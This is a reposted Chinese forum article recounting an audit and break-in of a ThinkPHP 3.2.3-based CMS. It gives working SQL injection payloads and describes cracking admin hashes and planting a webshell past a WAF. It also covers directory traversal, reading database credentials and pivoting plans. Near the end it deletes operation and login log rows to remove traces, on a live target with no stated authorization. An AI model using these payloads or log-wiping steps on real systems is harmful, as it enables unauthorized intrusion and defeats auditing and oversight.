安全矩阵

 找回密码
 立即注册
搜索
查看: 2395|回复: 0

记一次渗透+审计实战

[复制链接]

141

主题

153

帖子

517

积分

高级会员

Rank: 4

积分
517
发表于 2022-2-14 20:22:06 | 显示全部楼层 |阅读模式
记一次渗透+审计实战[color=rgba(0, 0, 0, 0.3)]pati3nt [url=]衡阳信安[/url] [color=rgba(0, 0, 0, 0.3)]2022-02-14 00:00
前言
某个深夜,waf师傅丢了一套源码给我,以及一个对应的目标站点。
该cms基于tp3.2.3二次开发,已知该版本存在多种sql注入类型以及缓存文件漏洞。
tp3.2.3历史漏洞
https://www.cnblogs.com/ichunqiu/p/12469123.html
漏洞已提交至CNVD
简要概括如下
where注入
利用字符串方式作为where传参时存在注入
1) and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)--+exp注入
这里使用全局数组进行传参(不要用I方法),漏洞才能生效
public function  getuser(){
        $User = D('User');
        $map = array('id' => $_GET['id']);
        $user = $User->where($map)->find();
        dump($user);
}
id[0]=exp&id[1]==1 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))--+bind注入public function  getuser(){
        $data['id'] = I('id');
        $uname['username'] = I('username');
        $user = M('User')->where($data)->save($uname);
        dump($user);
}
id[0]=bind&id[1]=0 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))&username=fanxingfind/select/delete注入public function getuser(){
    $user = M('User')->find(I('id'));
    dump($user);
}
?id[where]=1 and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)order by注入public function user(){
    $data['username'] = array('eq','admin');
    $user = M('User')->where($data)->order(I('order'))->find();
    dump($user);
}
order=id and(updatexml(1,concat(0x7e,(select user())),0))缓存漏洞public function test(){
    S('name',I('test'));
}
实战挖掘
最终找到几处后台sql注入、存储型xss、后台RCE(目录穿越)
sql注入
具体细节就不写了,漏洞触发点如下
很明显,直接构造发包

但是需要开启debug、且需要登录后台
类似的漏洞还有1处。
后台RCE
模版管理,懂得都懂
附件管理,懂得都懂




这里可以跟一下,寻找对应的上传点
存储型XSS
后台登录日志


但是目标站点的后台开启了http-only,因此无法利用xss获取cookie
后台操作日志的xss注入点在referer中
SSRF
在这个实际站点中用处不大,就不展开了。
实战渗透
后台漏洞审了一大堆没啥用,前台功能代码很少,大致看了一遍,不存在注入。
这时候waf师傅告诉我目标的前台搜索框处存在sql注入。
我????
于是对比网上下载的审计源码,发现原来源码中与搜索框相关的功能未实现,目标站点的搜索框是自己写的代码。
getshell
既然存在注入,那么直接读取后台管理员账户。
本地查看数据库如下
跟进源码发现password加密方式如下
md5($pass.md5($verify));
写个脚本注出后台用户数据
# admin,admin1
# 19369424b3f933c41324978106c411cc,9509b82e3ddf251f2ea825b49ab6d291
# lnwkNC,XW7YXl
cmd5查询,查询到了admin1账户密码
得到admin1/admin123!
登进去一看,admin1只有管理内容/修改密码两个功能,无法getshell,于是又把内容管理的相关功能进行审计,还是无法getshell。
既然已知加密方式和salt,开始本地爆破,一开始跑了十几万的字典还是没成功。
没办法,只能碰碰运气,用公司名、地级名、成立年份等信息生成一个自定义字典,本地一跑,卧槽成了!!!



登录之后尝试后台RCE,修改模版header.php,但是用哥斯拉居然被拦截了。

X-Powered-By: SDWAF
换成冰蝎马的成功绕过waf,但是访问前台又出现一个奇怪的单引号导致的语法错误。。。
最终,增加、编辑模版处还存在目录穿越,修改根目录的/install.php
源码中并未对..\以及../进行处理


点到为止
简单测试后发现,phpinfo中没有设置disable_func,却无法执行系统命令。。。
只能靠执行php函数
error_reporting(E_ALL);var_dump(1);var_dump(scandir('.'));
readfile('web.config');
读取数据库账号密码
'DB_TYPE' => 'mysql',
    'DB_HOST' => '180.xxx',
    'DB_NAME' => 'xxx',
    'DB_USER' => 'xxx',
    'DB_PWD' => 'xxx',
    'DB_PORT' => '3306',
    'DB_PREFIX' => 'wexxx',
发现是站库分离,远程连接。
select user()
select @@basedir;
show variables like '%secure%'
发现是linux系统,当前账户权限较低无法读取文件、修改配置、os-shell
先痕迹清除,第二天晚上下班继续
select * from XXX.perationlog limit 10
DELETE FROM XXX.rationlog WHERE id > 7000
DELETE FROM XXX._loginlog WHERE id > 3000
unlink('test.php');
除此之外,还可以传个reGeorg正向代理,继续扫描内网。

邀请码

请各位师父,多多发表文章,论坛会固定清理不活跃用户https://www.cnsuc.net/user-create.htm (论坛注册地址)222B34987244B8A8A32229BDF2AD72539736
来源:先知
注:如有侵权请联系删除

[color=rgba(0, 0, 0, 0.9)]衡阳信安
[color=rgba(0, 0, 0, 0.5)]船山院士网络安全团队唯一公众号,为国之安全而奋斗,为信息安全而发声!

[color=rgba(0, 0, 0, 0.5)]89篇原创内容





[color=rgba(0, 0, 0, 0.3)]公众号

欢迎大家加群一起讨论学习和交流
(此群已满200人,需要添加群主邀请)
你未来的样子,
就藏在你现在的努力里。









[color=rgba(0, 0, 0, 0.3)]喜欢此内容的人还喜欢


RuoYi 可用内存马




[color=rgba(0, 0, 0, 0.3)]衡阳信安


不喜欢
[color=rgba(0, 0, 0, 0.9)]不看的原因
确定
  • 内容质量低
  • 不看此公众号















微信扫一扫
关注该公众号





回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-5-17 20:51 , Processed in 0.012370 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表